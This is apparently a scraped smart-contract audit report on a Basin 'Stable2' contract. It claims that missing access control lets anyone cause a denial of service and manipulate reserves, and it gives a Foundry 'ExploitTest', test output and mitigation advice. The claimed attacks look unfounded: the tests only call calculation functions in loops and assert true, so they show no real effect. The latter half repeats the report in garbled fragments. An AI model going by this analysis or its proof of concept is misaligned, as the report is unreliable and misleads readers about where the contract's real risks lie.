An attacker identifies that the Stable2 contract has no access control mechanisms.
They notice that functions like calcLpTokenSupply, calcReserve, and calcRate involve complex calculations and iterative loops, which can be gas-intensive.
Execution:
The attacker writes a script to repeatedly call these functions with arbitrary inputs.
Due to the complexity of these functions, each call consumes a significant amount of gas.
Reserve Manipulation
Setup:
An attacker identifies that the calcReserve function can be called by anyone and influences the reserve calculations.
They understand that manipulating reserves can affect the overall liquidity and stability of the pool.
Execution:
The attacker calls calcReserve with inputs designed to skew the reserve calculations.
They repeat this process to gradually shift the reserves in a way that benefits their position.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract MockLookupTable is ILookupTable {
function getAParameter() external pure override returns (uint256) {
return 100; // Return a mock A parameter
}
contract ExploitTest is Test {
Stable2 stable2;
MockLookupTable mockLookupTable;
address attacker = address(0xdeadbeef);
function setUp() public {
// Deploy the mock lookup table
mockLookupTable = new MockLookupTable();
// Deploy the Stable2 contract with the mock lookup table address
stable2 = new Stable2(address(mockLookupTable));
}
function testDoSAttack() public {
// Simulate the DoS attack by repeatedly calling gas-intensive functions
vm.startPrank(attacker);
uint256[] memory reserves = new uint256[](2);
reserves[0] = 1000;
reserves[1] = 1000;
bytes memory data = abi.encode(18, 18);
for (uint256 i = 0; i < 100; i++) {
stable2.calcLpTokenSupply(reserves, data);
stable2.calcReserve(reserves, 0, 1000, data);
stable2.calcRate(reserves, 0, 1, data);
}
vm.stopPrank();
// If the test completes without running out of gas, it passes
assertTrue(true);
}
function testReserveManipulation() public {
// Simulate the Reserve Manipulation attack
vm.startPrank(attacker);
uint256[] memory reserves = new uint256[](2);
reserves[0] = 1000;
reserves[1] = 1000;
bytes memory data = abi.encode(18, 18);
for (uint256 i = 0; i < 100; i++) {
stable2.calcReserve(reserves, 0, 1000, data);
}
vm.stopPrank();
// If the test completes without errors, it passes
assertTrue(true);
}
}
forge test --match-path test/ExploitTest.sol
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.26
[⠔] Solc 0.8.26 finished in 1.29s
Compiler run successful!
Ran 2 tests for test/ExploitTest.sol:ExploitTest
[PASS] testDoSAttack() (gas: 2957054)
[PASS] testReserveManipulation() (gas: 924046)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 22.64ms (36.15ms CPU time)
Ran 1 test suite in 23.67ms (22.64ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
## Tools Used
Manual review
## Recommended Mitigation Steps
- Use the `Ownable` pattern to restrict critical functions to the contract owner.
- Implement role-based access control (RBAC) using OpenZeppelin's `AccessControl` to manage permissions more granularly.
- Add `onlyOwner` modifiers to functions that should be restricted to the contract owner.
- Define admin roles for different functions to ensure that only authorized addresses can call them.
## Assessed type
Access Control
Lines of code
https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L74-L103 https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L114-L144 https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/functions/Stable2.sol#L153-L166
Vulnerability details
Impact
Denial of Service (DoS) Attack
Reserve Manipulation
Proof of Concept
Denial of Service (DoS) Attack
Stable2
contract has no access control mechanisms.calcLpTokenSupply
,calcReserve
, andcalcRate
involve complex calculations and iterative loops, which can be gas-intensive.Reserve Manipulation
calcReserve
function can be called by anyone and influences the reserve calculations.calcReserve
with inputs designed to skew the reserve calculations.import "forge-std/Test.sol"; import "../src/functions/Stable2.sol";
contract MockLookupTable is ILookupTable { function getAParameter() external pure override returns (uint256) { return 100; // Return a mock A parameter }
}
contract ExploitTest is Test { Stable2 stable2; MockLookupTable mockLookupTable; address attacker = address(0xdeadbeef);
}